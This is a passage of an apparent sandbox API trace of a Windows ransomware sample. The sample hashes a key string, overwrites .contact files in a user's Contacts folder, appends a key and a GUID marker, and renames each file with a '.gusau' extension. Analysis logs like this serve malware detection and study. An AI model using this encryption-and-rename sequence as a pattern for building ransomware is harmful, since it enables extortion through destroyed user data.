returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.794] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.794] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.794] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.794] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.794] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.794] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4a0) returned 0x39f5210 [0116.794] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.794] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.795] WriteFile (in: hFile=0x610, lpBuffer=0x39f5210*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5210*, lpNumberOfBytesWritten=0x405fb24*=0x494, lpOverlapped=0x0) returned 1 [0116.795] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.795] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.795] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.795] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.795] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.795] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.795] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.795] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.795] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.795] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.795] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.795] CloseHandle (hObject=0x610) returned 1 [0116.796] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.796] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.796] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.gusau")) returned 1 [0116.797] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.797] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.797] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.797] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.798] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.798] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.798] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.798] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0116.798] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0116.798] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0116.798] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.798] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.798] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.798] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0116.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.799] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1174) returned 1 [0116.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.801] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.801] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.802] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.802] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.802] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.802] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x496, lpOverlapped=0x0) returned 1 [0116.802] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.802] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.802] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.802] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.802] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.803] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.803] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.803] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.803] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.803] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.803] GetLastError () returned 0x0 [0116.803] SetLastError (dwErrCode=0x0) [0116.803] GetLastError () returned 0x0 [0116.803] SetLastError (dwErrCode=0x0) [0116.803] GetLastError () returned 0x0 [0116.803] SetLastError (dwErrCode=0x0) [0116.803] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] GetLastError () returned 0x0 [0116.804] SetLastError (dwErrCode=0x0) [0116.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.804] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.805] SetLastError (dwErrCode=0x0) [0116.805] GetLastError () returned 0x0 [0116.806] SetLastError (dwErrCode=0x0) [0116.806] GetLastError () returned 0x0 [0116.806] SetLastError (dwErrCode=0x0) [0116.806] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.806] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.806] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.806] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4a0) returned 0x39f5210 [0116.806] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.806] WriteFile (in: hFile=0x610, lpBuffer=0x39f5210*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5210*, lpNumberOfBytesWritten=0x405fb24*=0x491, lpOverlapped=0x0) returned 1 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.806] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.806] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.806] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.806] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.806] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.806] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.806] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.807] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.807] CloseHandle (hObject=0x610) returned 1 [0116.807] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.807] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.807] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.807] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.gusau")) returned 1 [0116.808] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.808] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.809] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.809] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0116.809] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.809] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.809] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.809] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0116.809] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.810] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1172) returned 1 [0116.810] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.812] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.812] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.814] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.814] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.814] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.814] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x494, lpOverlapped=0x0) returned 1 [0116.814] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.814] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.814] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.814] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.814] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.815] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.815] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.815] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.815] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.815] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.815] SetLastError (dwErrCode=0x0) [0116.815] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.816] SetLastError (dwErrCode=0x0) [0116.816] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] GetLastError () returned 0x0 [0116.817] SetLastError (dwErrCode=0x0) [0116.817] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.817] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.817] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.817] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.817] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.818] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x490) returned 0x39f5210 [0116.818] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.818] WriteFile (in: hFile=0x610, lpBuffer=0x39f5210*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5210*, lpNumberOfBytesWritten=0x405fb24*=0x48f, lpOverlapped=0x0) returned 1 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.818] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.818] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.818] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.818] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.818] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.818] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.818] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.818] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.818] CloseHandle (hObject=0x610) returned 1 [0116.819] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.819] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.819] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.819] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.gusau")) returned 1 [0116.820] HeapFree (in: 